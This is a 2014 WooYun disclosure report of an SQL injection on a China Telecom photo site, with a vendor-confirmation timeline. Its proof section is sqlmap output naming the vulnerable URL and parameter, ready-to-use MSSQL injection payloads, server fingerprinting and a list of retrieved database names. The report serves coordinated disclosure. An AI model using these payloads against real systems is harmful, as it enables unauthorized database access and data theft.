当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072406

漏洞标题:中国电信某站SQL注入

相关厂商:中国电信

漏洞作者: 路人甲

提交时间:2014-08-15 10:43

修复时间:2014-09-29 18:58

公开时间:2014-09-29 18:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-15: 细节已通知厂商并且等待厂商处理中
2014-08-20: 厂商已经确认,细节仅向厂商公开
2014-08-30: 细节向核心白帽子及相关领域专家公开
2014-09-09: 细节向普通白帽子公开
2014-09-19: 细节向实习白帽子公开
2014-09-29: 细节向公众公开

简要描述:

rt、

详细说明:

注入地址:
http://photo.hb.vnet.cn/SearchComposation.aspx?new=news&key=1

QQ截图20140814195130.jpg


QQ截图20140814195219.jpg


QQ截图20140814195332.jpg

漏洞证明:

[17:20:39] [WARNING] heuristic (basic) test shows that GET parameter 'key' might not be injectable
[17:20:39] [INFO] testing for SQL injection on GET parameter 'key'
[17:20:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:20:51] [INFO] GET parameter 'key' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[17:20:54] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'Microsoft SQL Server'
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] y
[19:45:51] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[19:45:51] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[19:45:51] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[19:45:51] [INFO] GET parameter 'key' is 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' injectable
[19:45:51] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[19:45:51] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[19:45:51] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[19:45:52] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)'
[19:46:52] [INFO] GET parameter 'key' is 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)' injectable
[19:46:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:46:52] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
GET parameter 'key' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 237 HTTP(s) requests:
---
Place: GET
Parameter: key
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: new=news&key=1%' AND 3196=3196 AND '%'='
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: new=news&key=1%' AND 4158=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(113)+CHAR(97)+CHAR(113)+(SELECT (CASE WHEN (4158=4158) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(108)+CHAR(108)+CHAR(106)+CHAR(113))) AND '%'='
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: new=news&key=1%' AND 8049=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND '%'='
---
[19:47:01] [INFO] testing Microsoft SQL Server
[19:47:01] [INFO] confirming Microsoft SQL Server
[19:47:02] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[19:47:02] [INFO] fetching database names
[19:47:02] [INFO] the SQL query used returns 6 entries
[19:47:03] [INFO] retrieved: DATA_A8MUSIC
[19:47:03] [INFO] retrieved: DATA_PAIPAI
[19:47:03] [INFO] retrieved: master
[19:47:03] [INFO] retrieved: model
[19:47:04] [INFO] retrieved: msdb
[19:47:05] [INFO] retrieved: tempdb
available databases [6]:
[*] DATA_A8MUSIC
[*] DATA_PAIPAI
[*] master
[*] model
[*] msdb
[*] tempdb
[19:47:05] [WARNING] HTTP error codes detected during run:

修复方案:

null

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-08-20 09:09

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT直接通报给中国电信集团公司处置。

最新状态:

暂无